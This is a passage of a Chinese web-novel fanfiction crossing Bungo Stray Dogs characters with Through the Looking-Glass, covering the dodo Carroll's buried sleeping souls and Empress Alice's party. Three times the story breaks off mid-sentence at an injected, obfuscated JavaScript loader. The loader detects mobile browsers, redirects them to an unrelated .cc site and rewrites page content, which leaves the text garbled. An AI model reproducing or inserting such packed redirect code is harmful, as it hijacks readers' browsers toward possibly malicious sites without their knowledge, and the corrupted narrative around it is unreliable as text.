他说:“国王具体的身份目前我只是有所猜测。但可以肯定的一点是,就算这里存在死亡,那位国王也不会选择杀死我的。” “咦?为什么?” 太宰治凑过来,鸢色的眼睛眨了眨,充分地展现了什么叫作油盐不进,一门心思地想要在自家大人的身上泼脏水:“所以该不会真的是勒托先生吧?” “因为这样游戏就结束了?” 织田作之助突然开口,给出了一个无懈可击的回答:“但他不想游戏就这样完结?” “没错。”费奥多尔淡淡地说,“想要这个游戏永久地持续下去,想要永远作为国王运转着这个游戏。大概就是类似的理由。” 总感觉这语气多少带着点索然无味。就像是资深反派角色看到那些子供向动画电影的反派时发表的感慨…… 坂口安吾目光有些飘移地想到,不过马上就感觉这种揣测实在是太过没礼貌,于是有些尴尬地咳嗽一声,主动发言。 “那要我用异能看一眼这里的茶具吗?” 他问:“说不定他们之前在这里聊天的时候就提到过和另一位国王有关的事情。” “不不不行!在这种地方最最最好不要使用任何会和精神相相关的异能!” 刘易斯·卡罗尔结结巴巴的声音突然响起。一只滑稽的鸟脑袋从树丛里面冒出,然后扭着屁股就跌跌撞撞地钻了出来。 “这这这种行为很危险!要是出什么问题就就会和别人一样疯疯疯掉的。” 他气喘吁吁地说,然后扑腾着短翅膀跳到了茶会桌子上,表情看上去十分郁闷——一看就知道他既没有找到三月兔,也没有找到爱丽丝,然后抬头望向费奥多尔。 “未未未来的事情是无法改变的,对吗?” 他问。 织田作之助帮忙翻译了一遍这句话。 费奥多尔思考了片刻:“应该如此。勒托先生现在应该就在那条时间上,他应该已经看到了成为女皇的爱丽丝。” 这是在委婉地表明他阻止爱丽丝登基的计划还是不要想了,反正注定是要失败的。卡罗尔也听懂了这份意思。 渡渡鸟叹了口气。 “我我我们这里的所作所为都不重要。” 他又开口道:“因因为未来已经决定了。现在唯一能结结结结束这一切的事情只能发生在那个未来。是这个意意思吗?你真的认为那个来到未来的人能成功功地把事情解决?” “他会的。” 费奥多尔语气依旧相当平静:“我相信他。” 渡渡鸟尝试从他的脸上看出点别的什么,但失败了。他沮丧地抖抖羽毛,然后从座位上跳了下来。 “但但但我不放心!” 卡罗尔结结巴巴地大声说,但语气中透着某种坚定的决心:“我会在这里清醒地生生活到那一天,亲眼去看看他到到底能不能做到。我打算离开这这里,总不能什什什么都不做——” 他说着说着就要往外面走,但还没有走出两步,就被费奥多尔喊住了。 “我很明白您在这方面的决心。” 俄罗斯人偏了下头,声音听上去带着很浅的笑意:“所以我只有一个请求:如果您在未来遇到了勒托先生,麻烦告诉他一件事。” 渡渡鸟停下了脚步,然后转头,发出代表疑惑的声音:“渡渡?” “就问问这个OOL诞生的时间吧。” 费奥多尔脸上的笑容似乎更浓了些,他的目光微微向上看去,似乎在注视着虚空中的某处:“还有,别忘了来接自己的国王。” …… “所以,这就是你过来找到我的原因。” 夏章雾坐在树边的石头上,这么总结。 他撑着脸颊,很是忧郁地叹了口气。在他的身边是一个和他身高差不多的盔甲,盔甲也叹了口气。 “嗯。”对方说。 他们现在正在一个导弹形成的山丘上。 这片山丘的表面充斥着灯芯草、灰蓝色的狐狸尾巴组成的植被群落。巨大的导弹林立在周围的风景里,上面生长着金黄的苔藓,仿佛自带着某种太阳般的光环。 “而且你还不渡渡叫了。” 夏章雾望着远处,语气突然遗憾了起来。 “……嗯。” 盔甲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15368337|164449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发出闷闷的声音。 “我还指望你能够渡渡两声呢。”夏章雾扭过头去看他,很是惆怅地说道,“我这辈子还没有听到过渡渡鸟是怎么叫的。” “我也没办办办法。毕竟现在我担任的身份已经不止是渡渡渡渡鸟了。”盔甲这么说。 “真的吗?”夏章雾表示怀疑,“但你这么大的盔甲真的很可疑啊,看大小塞进去一只渡渡鸟也没有什么问题。” 虽说是“看大小”,但他还是十分具有求证主义精神地趁人不备,直接上手把盔甲的脑袋整个拔了下来,好奇地往盔甲里面一看。 ——什么都没有。 “嘶。”倒吸一口凉气的声音。 “卡罗尔!你原来变成幽灵了!” 夏章雾大惊失色,把头盔往后面一扔,扑上去抱住盔甲:“那我的任务怎么办!把幽灵带回钟塔侍从,他们真的愿意认领吗?要是不认领我到底还能不能要到全额的报酬——等等。” 他突然陷入沉思。 “如果钟塔侍从不要你的话,我可以把你卖给柯南·道尔啊!” 他眼睛突然一亮,双手握拳:“那家伙要是能看到一个活的幽灵肯定激动得要命!我到时候就可以趁机要价给几百万英镑,让他一辈子给我勤勤恳恳打工……” “你个笨笨笨蛋!” 一个有些气急的声音从后面传来:“我现在在在在在头盔里!” 刚刚还沉浸在畅想中的夏章雾:“……” 真是白高兴了。 他转过身去,帮忙把一只胖胖大大的渡渡鸟从头盔里给拽出来,还顺便帮忙捋顺了他身上乱糟糟的蓝灰色羽毛。 “好吧,现在只能用渡渡鸟的照片去让道格拉斯给我勤勤恳恳打一辈子工了。” 人类学教授忧郁地叹了口气:“唉,如果可以的话我还是更愿意折腾那个无良侦探,让道格拉斯天天打工然后把赚的钱全给我,我所剩不多的良心可是会痛的……” “看出出来了,你良心确确实所剩不多。” 渡渡鸟猛地甩了甩自己的脑袋,用有些郁闷的语气说,然后重新把盔甲戴到自己头上,安安静静地抬头看着这里被灯芯草覆盖的导弹。 “不过你竟然没有怀疑我现现在已经疯疯疯了。”他说,“我还以为要要要说服你相信我的话需要挺长的时间间。” “否则你以为那家伙要你传达他的那两句话是什么意思。” 夏章雾也跟着他的视线看去,闻言只是很随意地耸了耸肩:“就是为了方便我在未来确定你的立场和精神状况——他有单方面直接联系我的方法,我只要稍微一对比,就知道你有没有把真正的信息转交给我了。” 卡罗尔用自己短得可笑的翅膀扶了下自己快要掉下来的头盔。 “很很很合理的防范措施。”他说,但并没有追问他们是通过什么方法联系的,只是忧郁地看着天空发位置,“接接下来你应该要问问我些别的问题吧。” “是啊,太多问题想问了。” 夏章雾深吸了一口气,随后看向刘易斯·卡罗尔:“如果你从始至终都保持着理智的话,那爱丽丝到底是怎么成为女皇的?你在这个棋局中下身份到底是什么?这里到底发生了什么事?” 漫长的沉默。 “我现在是白白白棋的骑士。” 渡渡鸟慢慢地说,像是决定把这个答案从头答起:“是我把爱爱爱丽丝送上了登基为王后的最最最后一条河流前。” 短暂的沉默。 “你等一下。” 夏章雾默默地掏出笔记本:“我感觉我现在大脑运转好像出现了卡顿——我还是先去看看预言到底怎么说吧。” 48.您的好友正在杀出冥界 「玧末: 预言?预言没有什么想说的,你加油。」 「再不吃掉月亮就要无敌了: 啊?预言吗?费佳佳说你会赢的,我什么都不知道喔,祈祷吧账务。你可是先知啊。有什么提示是你跟上帝低个头服个软不能给的呀。天使可钻不了上帝的存稿箱,你可以相信你家侦探的预言,他说相信你诶。」 总之就是先相信,再相信,最后相信是吧?你们倒是非常释怀,但我很麻——算了,还是不要太在意读者时不时突然不靠谱的行为了。 夏章雾叹了口气,看着这群正在欢天喜地地打算建后援群的读者:他们甚至还选了一大堆光是看名字就让让主角想世界毁灭的群名。 他默默地往前面翻。 虽然读者此时不太靠谱,但之前他问的“黑尔和哈塔有没有出现在《镜中奇遇记》里”的问题应该已经得到解答了。 「愿我注视深渊: 有,第七章狮子和独角兽里,提到了国王的两个传令兵一一黑加和哈塔。Hatta(哈塔)就是前一部爱丽丝中的Mad Hatter(疯帽匠),刚从监狱里释放出来。Haigha (黑加)的尾音如果读成mayor(市长)的尾音,就很像Hare(野兔),当然指的就是三月野兔了……」 「再不吃掉月亮就无敌了: 账务我好几章前就说过啦!hatter谐音哈塔哦!」 很好,自己的猜想总算是被证明了。这应该算是难得的安慰,应该吧。 “其实我真的不知道该说什么。” 夏章雾合上笔记本,抬头看着对方:“但我想你这么做肯定有什么原因?比如不这么做的结果会更糟糕?这里发生了什么?” 实际上,他完全没有办法想象“更糟糕”到底是什么样子。这里的一切都是如此不正常,以至于夏教授觉得自己都快要在他们的对比下变成正常人了。 但他决定勉为其难地相信一下卡罗尔——既然读者们都没有叫叫嚷嚷地怀疑他是骗子。 “因因因为爱丽丝想要这里延延续下去。在很多糟糟糕的选择里,这至少是不那那那么糟糕的一种。” 卡罗尔坐在地上,头盔下发出闷闷的声音:“你小时候有没有把自己的玩具放放在一起,假假假装他们的中间会上演各种情节?” 没有玩伴的孩子把不同的玩具、积木或者玩偶放在桌面或地板上,开始满脑子好奇地为它们想象各种故事。 他们用手拿着不同的玩偶,假装它们奔跑玩耍交流,假装它们互相打闹战斗,假装它们的世界发生了种种不可思议的经历,自娱自乐地沉浸在最原始的游戏中。 公主与王子,兔子和巫师,锡兵和八音盒上的芭蕾舞女士,普普通通的过家家故事或者史诗冒险。那些故事就这样从孩子的脑海里源源不断地诞生。 “我猜,没有同龄人玩伴的独生子女应该都有这种经历?拿着小玩具自娱自乐什么的。” 夏章雾摸了摸下巴,客观地说:“不过我小时候因为被老妈放养在海滩边,所以都是拿沙子捏小人和城堡。” 渡渡鸟明显松了口气。 “沙沙沙子更好理解。”他用翅膀比划,“你可以想想象一下,等这场游戏结束后……” “那么绝大部分都会被毁掉,然后沙子会被用来捏成下一个故事的角色们。” 夏章雾毫不犹豫地说,他露出稍微有些明悟的表情:“你的意思是说这里的居民其实相当于活着的玩具?故事结束时他们就会死去——但这个世界中并不存在真正意义的死亡,他们的意识依旧停留在身体上。” 渡渡鸟默默地点了点脑袋上的头盔。 “那我猜事情是这样:过去这里其实在上演着扑克牌游戏,但游戏迎来了结束。具体我猜是扑克牌战争——爱丽丝max曾经和我说过这里曾经发生了扑克牌大战。” 夏教授想了想:“接下来后续的新游戏又开始了?只是这次是国际象棋游戏。系列主角爱丽丝max和其他配角被保留了下来。但其他的都作为素材,再次制造出了这整个世界。只是爱丽丝max决定不再让这个故事走向结束……” “什什什么是爱丽丝max?” 卡罗尔说。 “呃,就是女皇陛下?” 夏章雾耸耸肩,并不怎么在意,他觉得卡罗尔也看出了这一点:“毕竟她和爱丽丝mi……我是说利德尔小姐很有可能是两种存在。我猜她算是某种OOL产物。” 刘易斯·卡罗尔静静地看了夏章雾一会儿。 ——那真是段非常令人不安的沉默。 “不,她她她就是爱丽丝。”他结结巴巴的声音此刻很轻,“但她不仅仅是爱丽丽丽丝。有一点你猜猜猜错了。” “没有角角色被保留。上一局游戏里所有有有的角色都只只是素材。这就是为什么我我现在可以说人的语语言。因为我现在并不是单纯的渡渡鸟……事情就是这样。” 风从这里轻轻地吹过。 “你知知知道吗?一开始这里很很热热闹。” 卡罗尔艰难地站起,然后跌跌撞撞地向前走去:“新故事的开头,每每寸土地上你能听到上百种不不同的声音。现在他们有的疯了,但更多是逼迫着自己睡着了。但是——” 卡罗尔停下来,看着这块生长着蓝色狐狸尾巴的土地,低头费劲儿地用自己巨大的鸟喙在土壤里扒拉着,直到翻到了一个银色餐刀。 他把这个小餐刀紧紧地搂在怀里。 “啊,渡渡鸟先生又来了吗。” 属于小女孩的困倦声音在银白的餐具上面响起:“爱丽丝现在又看见太阳了……但爱丽丝好想睡觉,好无聊哦。这次渡渡鸟先生是有新朋友了吗?你是谁呀?” 孩子的声音很快就勉为其难地打起了精神,用重新带上了好奇的语气问道。 夏章雾沉默地看着……它? 或者她?他们? 然后他蹲下身子,看着面前的这个银色小餐刀。在他的身后,一对白色覆羽与黑色飞羽组成的翅膀骤然张开,宽阔的羽翼在阳光下折射出朦胧的光芒。 “我叫勒托,是个天使哦。” 他轻轻地拍了拍银色餐刀,就像是在拍小孩子的脑袋一样,脸上带着微笑:“我和神明们都会祝福你,你一定会睡个好觉的。” “呜哦……”爱丽丝发出懵懂的声音。 然后她突然高兴起来。 “大家快醒醒!”她喊道,“天使说要来祝福我们啦!” 于是其他的声音也开始慢慢地在这个银色餐具中出现了,从半梦半醒的迷蒙嘟哝逐渐变成了孩子困惑好奇的声音。似乎爱丽丝的声音把这里所有睡着的灵魂全喊醒了。 他们几乎全是孩子。 “是天使吗?”“我第一次见到天使。”“我们以后会来到天堂吗?”“你要祝福我们什么呀。” “会的。你们都会回到天堂的哦。” 夏章雾用手摸了摸他们,他的脸上是这辈子都没有露出过的温柔表情:“好孩子就去好好地睡觉吧,等到你们再醒过来的时候,就能发现自己已经到天堂了。” “好呀好呀,大家快去睡觉啦!爱丽丝也会好好睡觉的!” 小女孩的声音很是快活地说,那些声音也挨个高高兴兴地保证,随后又一个接着一个地安静了下去,只有她还在叽叽喳喳的:“所以爱丽丝是好孩子吗?” “嗯,爱丽丝是好孩子。” 卡罗尔轻声地说。 “那好孩子爱丽丝就去睡觉啦。”餐刀里的声音越来越小,但依旧甜甜的,“再见,渡渡鸟先生。再见,天使先生……” 卡罗尔紧紧地用翅膀抱着这个小东西。等到这里面的声音再次彻底消失,他才把小餐刀重新埋回泥土里。 他抬起头,看着周围。 “这里全全全部都是。” 他说:“我能找到的其他爱爱爱丽丝……全部都在这这里。我一直直直在找她。” 银色的小刀并不是这里唯一的埋葬品,还有更多更多的东西被埋葬在泥土下。 只不过里面的灵魂们全都睡着了。睡梦能够帮他们抵御漫长无聊的时光,或许同样能做到这一点的还有疯狂。 “我来到这里后看到了很多会说话的花。” 自称为天使的人类收回翅膀,用近似于叹息的声音说出了这句话:“但现在想起来,那些会说话的奇怪东西真的不多。” 没有会说话的树、草与蝴蝶。没有会说话的线和列车。他经过了那么多东西,但从来没有对它们的安静感到奇怪。 “我早该想到的。”他低声地对自己、或者对画外音和读者说, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15378403|164449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我在太宰他们的未来,那么多东西都‘消失’了的未来——我见到过的会说话的东西本该比他们遇到的多得多。” 但在他的世界观里,这些事物本来就应该如此安静的。因此在看到会说话的信时,他甚至会感到无奈和惊讶。 “这又不是你的错。” 作者“咯嘣咯嘣”地似乎在啃着什么,声音模糊不清:“反正这个设定我也是才在两天前加进去的——众所周知,作者只比读者提前两小时知道接下来的剧情。” 夏章雾:“……?” 喂喂,你这临时增加设定的混蛋,快把我刚刚沉重的心情给还回来啊! “因因为它们的床太硬了,没没法睡吧。” 渡渡鸟啪嗒啪嗒地走回来,眺望远方:“现在这里真真真是出奇地安静。爱丽丝一直想要仙境重重重新热闹起来,但很少有灵魂醒醒来。” “她想要这里重新变得热闹?” “至少从行行为来看,她一直都都都在这方面努力。但我没没法给你真正的答案。自从告告别爱丽丝后,我没见过任任任何王后和国王。” 卡罗尔断断续续地说:“我唯一确确定的就是她她她成为女皇的时时时间:那是在成为王后后后后不久,强烈的震颤中中发生的。” “故事正式结束时就是这样的震颤?” “是的,我还还还记得。但这次国际象象棋的故事并没有这样结结结束。当时肯定有一位国国王被将死了,但肯定同同同时也诞生了新新国王。” 很合理的猜测。 但国际象棋游戏里还能多出一位国王?这是哪个年代哪个版本的游戏规则……等等。 夏章雾愣了一下。 他突然意识到了什么,然后瞬间明白了费那个谁让卡罗尔给他传的那两句话的意思。 他本来还以为对方当时的主要目的就是给他一个在未来能确认卡罗尔的立场的方式,内容并不重要。但现在看来,那个内容其实未必没有对应的含义。 “我还有最后一个问题。” 他说:“如果在爱丽丝还活着的时候,你某天决定以爱丽丝作为主角写童话故事,那么你觉得它到底会是以什么样的理由创作的?你会写什么样的内容?” 卡罗尔似乎愣了一下。 “理由。”他回答,“也也也许是……我想想让她她笑,让她开开心,让她能能看到这本书时想起我。用最接近孩子的思思维,向人们展展示她和那些女孩到底有多古古古灵精怪。” 简单来说,是爱。 除此之外没有更多的理由。 卡罗尔给出的是与读者们给出的解答完全不同的另一种答案。 “我明白了。”夏章雾认真地点了下头,“谢谢你给我的决心。” 无论如何,必须把这一切都终结的决心。 他开始向前走去。卡罗尔没有跟上来,夏章雾对此并没有感到什么意外。 “文学负面体是对人类满是恶意的东西。” 在通过那条通往宴会的河流前,他只是轻声地这么说,听不出是自嘲还是讽刺:“作者,你的言论真是永远那么精确。” 就算不会让人死亡的文学负面体亦是如此。 无论是用什么样的形式,它们永远对人类怀揣憎恶,永远在不择手段地伤害,也永远期待在人类的概念上咬下缺口—— “哎呀呀。” 画外音终于把自己正在吃的东西咽下去了,声音听上去笑眯眯的:“你要知道,作者永远不会对自己的主角撒谎。永远不会的哦。” “那就验证我最后的猜想吧。” 夏章雾平静地抬起眼眸:“你说过:答案就在评论区当中。但这次的评论区里,是不是没有读者猜出答案?” 虚空中传来愉快的笑声。 “没有哦。”它说,“你猜对了。作为奖励,再问读者们一个问题吧。这次如果读者们没有得出答案,那我就来给你回答。” 夏章雾缓缓地仰起头。 他看着落日时分的天空,突然也学着作者那样笑了起来。 “这个可用不着你回答——我要问的问题可是非常简单。” 他毫不犹豫地往前一步,跃过河流:“那么好啦,亲爱的读者们:你们能否告诉我,你们那里的《爱丽丝镜中奇遇记》诞生在哪一年?” 49.小开不算开,没关就是开了 和今天有些相似,那天是个阳光有些刺眼的落日时刻。 现在的爱丽丝依旧还记得——有位白骑士从红骑士的手下救出了差点成为俘虏的自己,最后默默地护送着她走完了森林的最后一段路程。 在最后,他给爱丽丝唱了一首歌,在她准备跨越最后一条河流时与她告了别。 “那是一首很长也很美的歌。” 当时,他对爱丽丝这么说:“是我自己编写的曲调。听过的人要么是泪流满面,要么是——根本就没有哭。” 爱丽丝并没有哭。她只是专心地坐在旁边,听完了那首歌。 “实际上那曲调根本不是他发明的。” 后来的爱丽丝女皇对另一位女皇说:“当时我想了很久,觉得那肯定是《我已付出所有,毫无保留》的曲子。” “我不知道这首曲子。” 镜子另一端的女皇这么说。 她有着浅灰色的眼睛,一头和爱丽丝有些相似的漂亮长发,看上去要比爱丽丝女皇的年纪稍微大些。一条斑斓的红蛇趴在她的肩膀上,似乎正在安详地打着盹儿。 “那我就给你唱一遍好了,真的非常简单!” 爱丽丝女皇很是高兴地说,然后微微抬起头来:“我想想呀,应该是这么唱的。” 她提着裙子站起,闭上那对湛蓝的眼睛,然后哼起了歌来: “我会向你说出所有, 但没有多少东西可说。 我见有个老先生 坐在栅栏门上。” 爱丽丝的歌声稍微有点跑调。她不是那种十分擅长唱歌的小姑娘,但清脆的音色弥补了她在技巧上的不足: “他说:我在找蝴蝶,它们沉睡于麦田里, 我把它们做成羊肉馅饼拿到街上, 卖给出海的人,他们在风暴中航行。 这就是我的谋生之道—— 微不足道,请别嫌弃。” “但我内心在思索, 想找出以十为乘数的计算方式, 而且总能在答案中,把问题找回来。 所以我对老人的话无可回应, 只能大声说:快说你靠什么谋生! 说完用力敲打他的脑袋。” 唱到这里,爱丽丝女皇就停下了。她的脸上浮现出苦恼的表情,脑袋也歪了过来。 “这听起来是首很让人难过的歌。” 另一位女皇想了想,这样开口。 “哎呀,那是我唱错了。” 爱丽丝摇晃着脑袋,把自己给摇得晕晕乎乎的:“我唱成白骑士先生给我唱的那首歌啦。真是奇怪,我现在完全想不起来原来的曲子到底是什么内容了——嗨呀,我该不会要变成像是伊迪斯那样的笨蛋了吧?” 说这句话时,她表现出十足苦恼的神态,低头打量着自己。 “伊迪斯是谁?” 镜子中的女皇好奇地问。 “是我的妹妹呀。她是一只很笨的小鹰,看到超过七个字母的单词都会迷迷糊糊的。还有罗丽娜——她每次吵架都赢不了我,只能哼哼唧唧地说‘我比你大,所以我说得有道理’。” 爱丽丝女皇绕着自己转了圈,然后发出高兴地欢呼声,小小地原地跳了一下:“我没长出翅膀,我没有变成罗丽娜和伊迪斯!我才不要像罗丽娜那么骄傲,也不要像伊迪斯那么笨!” 这个答案很是让她满足。 她重新开心起来,抬头看了看镜子里那位好奇地瞧着她的女皇,脸有些不好意思地红了。 “我刚刚的行为是不是有点失礼啦?”她拽着裙角,小声地说,“我还不知道怎么当女皇呢,我只是知道该怎么玩游戏。” “我觉得没有问题呀。” 镜中的女皇用轻松的语气说。她近乎于透明的银灰色眼睛眨了眨,显得很是活泼:“爱丽丝想要怎么样都可以。” 爱丽丝女皇轻轻地“呼诶”了一声,那对漂亮的湛蓝色眼睛一下睁大了。 “你怎么也知道我的名字呀?” 她吃惊地说:“今天遇到的大家好像都知道我的名字。今天我还遇到了一位勒托先生,他也一下子就说出了我的名字呢。” 镜子对面的女皇似乎笑了起来。她轻轻地偏了下脑袋:“还有勒托先生?” “嗯嗯。你也认识勒托先生?他答应了要来参加我宫殿里的聚会,应该很快就到了。” 爱丽丝女皇高高兴兴地说,然后脸上突然浮现出有点回忆的表情:“不过呢——你们都不是第一个这样直接说出我名字的人。” “那第一个是?” “是白骑士先生呀!他也是刚见到我就说出了我的名字。”小姑娘努力回想着,“当时真是吓了我一跳,我还以为他是认错人了呢。” “你好像对他印象特别深刻。” 镜中的女皇说。 “嗯……也不知道为什么。” 爱丽丝犹犹豫豫地点了下头,随后又仰起脑袋,看着宫殿天花板上那些繁复的花纹:“其实在我所有经历过的那么多有趣的事情里,我印象最深的就是白骑士先生那天唱歌的样子。” 就像是发生在昨天一样。 对方骑士铠甲缝隙中露出的那对温柔又忧伤的灰蓝色眼睛,阳光在冰冷的盔甲上反射出的有些刺眼的光芒。马的鼻孔在空气中喷出温热的白色雾气,鬃毛在风中飞起。 落日的光线长久地停留在骑士和他的那匹马上。他们身后的森林是黑色的。河流波光粼粼地闪烁。而她半梦半醒地用一只手遮挡着阳光,听到那首歌在耳畔轻轻地飘荡。 ——到底为什么记住了呢?为什么只有他记得格外清楚呢? 爱丽丝很专心地想着这件事。 一直到等她戴上皇冠,穿上笨重的长裙与礼服时,她都还在想着那天傍晚的夕阳下发生的事情,想着那天日落时分的告别。 那天当骑士拐弯离开时,爱丽丝挥了挥自己的手帕,然后再也没有见到过他。 等到走入大厅的时候,她突然想起来了。 关于那首歌原来该怎么唱。 “我已付出所有——毫无保留—— 尽管我能给予的不多; 我能给你的, 只有我的心与琉特琴。 琴音温柔,从中流泻出 灵魂满满的爱意……” 在华丽的大厅里,曼德勃罗集合的图案在天花板上无穷无尽地延展和自我重复。华丽的线条无穷无尽地延展,最后垂落在周围立柱上,蔓延在地板上,最后被华美的地毯覆盖。 “你知道《我已付出所有,毫无保留》这首曲子吗?” 画外音突然兴致勃勃地对夏章雾说:“我可以教你怎么唱,你跟着我哼就行了。旋律其实不怎么复杂。” “我拒绝。” 正在打量着宴会场景的夏章雾拒绝得相当果断:“我感觉你不怀好意。” 跃过河流后就莫名其妙来到这里的救世主先生显然对周围的场景有着充沛的警惕心。 他绕过一只正在脚边蹦哒的布丁,还有一条穿着黑礼服的鱼,尽可能地寻找到了一个没有太多打扰的角落,抬头打量着周围的装饰。 那是华美的、复杂的、无穷无尽的、自我复制的图案,只要走一步都会产生它们正在旋转的恍惚感。不知道是宝石还是糖果的东西在它们当中折射出令人心醉神秘的光泽。 清脆空灵的音乐此刻依旧流淌在甜美的空气里,让人联想到八音盒的叮咚声。它现在到底重复了多少遍? 夏章雾说不清,但他记得自己刚通过镜子来到这里时听到的就是这样的音乐,现在他耳朵都听得快要起茧子了。 “叮咚,叮咚。” 音乐声显得很欢快。 大门突然打开。 成群结队的乌鸦从门后飞出来。它作为组成这个世界的夜幕放飞出来——并且发出相当难听的刺耳声音: “对着死者世界,爱丽丝如是说: 我手持蛋糕,头戴王冠, 邀请死去的生物,无论你是什么, 都来与我一同游玩!” “叮咚,叮咚。” 音乐声轻快地响。 宴会中的所有人——或者说所有生物都站了起来,他们开始洪亮地齐声唱歌: “快快穿戴整齐, 把蝴蝶结与领带系上墙壁, 把刺猬装进帽子,苍蝇扔进眼镜—— 欢迎爱丽丝皇后,连续三呼三十次!” 唱完后,他们马上就发出一阵相当乱七八糟的欢呼声。 夏章雾没有加入进去,只是在旁边对画外音吐槽道:“我怎么感觉根本没有人欢呼九十次?作为气氛组未免也太滥竽充数了吧?” 画外音很鄙夷。 “你这根本就没有加入的家伙,竟然也好意思说别人滥竽充数啊。”它说。 “问题是,我又不是过来当啦啦队的。” 夏章雾对此表现得倒是相当的坦然且理直气壮:“我是过来踢馆的,懂吗?我现在不直接打断他们就已经很礼貌了。” “你这根本不是礼貌。” 然而画外音一语道出了真相:“你这叫做害怕自己翻车。” “叮咚,叮咚。” 清脆悦耳的音乐声继续响。 在场的生物们再次安静下来。那个刺耳的声音再次唱起了歌: “啊,死亡的生物! 爱丽丝说:全都靠过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15382331|164449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来! 见到我是一种欢乐,听到我是一种乐趣。 游戏时间是一种无上的光荣, 和我一起游玩!” 然后大厅的生物再次合唱: “衣服穿上火焰或玻璃, 或是任何喜欢的东西。 绳索吊在脖子上,毒药藏在牙齿里—— 欢迎爱丽丝皇后,连续九呼九十次!” “八百一十次!” 夏章雾忍不住说道:“你说等他们全都欢呼完到底要花多久的时间?” “哦,一个小数学题。”画外音说,“你需要我帮忙去网站上面查一下人类平均一个音节的发音需要多久的时间吗?” “并不需要,谢谢。” 夏教授回答道,并且把自己藏得更加严实了一点,他可完全不想跟着别的倒霉蛋一起喊八百次爱丽丝的名字:“我的意思是,又来了:那些毫无意义的环节。” 他看着周围的那些生物,没有找到那些自己认识的生物的踪迹。来到这里的客人中有花朵,还有各种动物,显得他这个人类相当突兀。 “看起来高深莫测,但实际上十分多余且没有任何意义的环节。” 他说:“就像是数学分型的图案,看似华美而又绚烂的外表下的本质其实是一次又一次地自我模仿,通过自我复制来构成美丽的幻觉。所以我说,读者们啊……” “这和我当初对太宰提起的那个自我论证的同义反复有什么区别?你们该不会真的从这些文字游戏、诗歌戏仿和无聊笑话中看出了什么意义,或者觉得这些玩意对所谓的剧情起到了推进作用吧?” 故事中的主角如是发问,他用困惑的眼神看着天花板:“你们到底是怎么容忍作者继续这么废话连篇地进行描述的?就没人骂它太水吗?” “喂喂,骂谁水呢!骂谁水呢!” 画外音在旁边似乎有些生气地说:“对我每天勤勤恳恳花了大量时间才码出来的劳动成果稍微尊重点啊,你这家伙!” “骂你?谢谢,懒得骂。” 夏章雾无语地斜视一眼:“就是觉得你家读者还真是挺宠你的,能忍受如此漫长、如此无趣的前置环节和铺垫。” “哈。”画外音的语气突然平静下来,“其实你看到的是幸存者偏差,实际上读者已经跑了大半哩。” 对此,主角先生喜闻乐见地竖起拇指。 “活该。”他说,“不愧是三流扑街作者。” 欢呼已经完毕,被掩盖的乐声再度清晰。 “叮咚,叮咚。” 音乐流淌。 门被吱呀一声推开。 爱丽丝女皇戴着她金色瓦楞纸制作的王冠,手里拿着葡萄干蛋糕,身上穿着美丽而又令人头晕目眩的长袍。 她走进来,小心翼翼的样子让人担心会不会被这一身过于美丽过于耀眼的礼服绊倒。她走进来,那对亮闪闪的蓝眼睛在金属与宝石反射的光辉下好奇地左顾右盼着。 最后她看到了夏章雾,于是弯起眼睛微笑,举起自己的蛋糕。 “现在——”她说,“游戏开始!有人想要陪爱丽丝玩游戏吗!” 宾客们顿时骚动起来,已经有生物迫不及待地跳了上去……很好,那个生物是只烤鸭。夏章雾觉得自己已经隐隐约约明白“和烤鸭跳舞”到底是什么意思了。 “你打算先上场吗?”作者好奇地问。 “先等一下,看看别人的表现。” 夏章雾再次看了眼台上的小女皇,然后拿出自己随身携带的笔记本,看向上面的评论。 「七: 查了!1871!」 「愿我注视深渊: 1871年。」 「暮川夜: 那么好的亲爱的,我来回答你的问题~《爱丽丝镜中奇遇记》诞生在1871年哦。」 「好心的斯巴拉西希望饭团: 虽然已经有很多人回答过了,但是1871」 除此之外,还有玧末热情提供的关于三次元的刘易斯·卡罗尔为爱丽丝创作《爱丽丝漫游奇境》的故事与他们间的纠葛。 ——很好。 破局的最后一块拼图到手了。 夏章雾眼底掠过笑意,随后直接从上面撕下几页,把夹着笔记本当书签的签字笔也拿下来,在上面涂涂画画起来。 他的声音听起来很平静:“现在我已经有准备了。我对在接下来的游戏里赢爱丽丝并没有什么压力。但我现在要做的是,说服她遵循我的游戏规则。” “也对。” 作者看了眼夏章雾正在写的内容,很赞同这句话,“最后别像上次玩游戏那样,你们四个人的游戏竟然有整整四个人在作弊就行。” 50.作弊是不会给大家带来笑容的 “嘶,你撕得是不是有点太多了?” 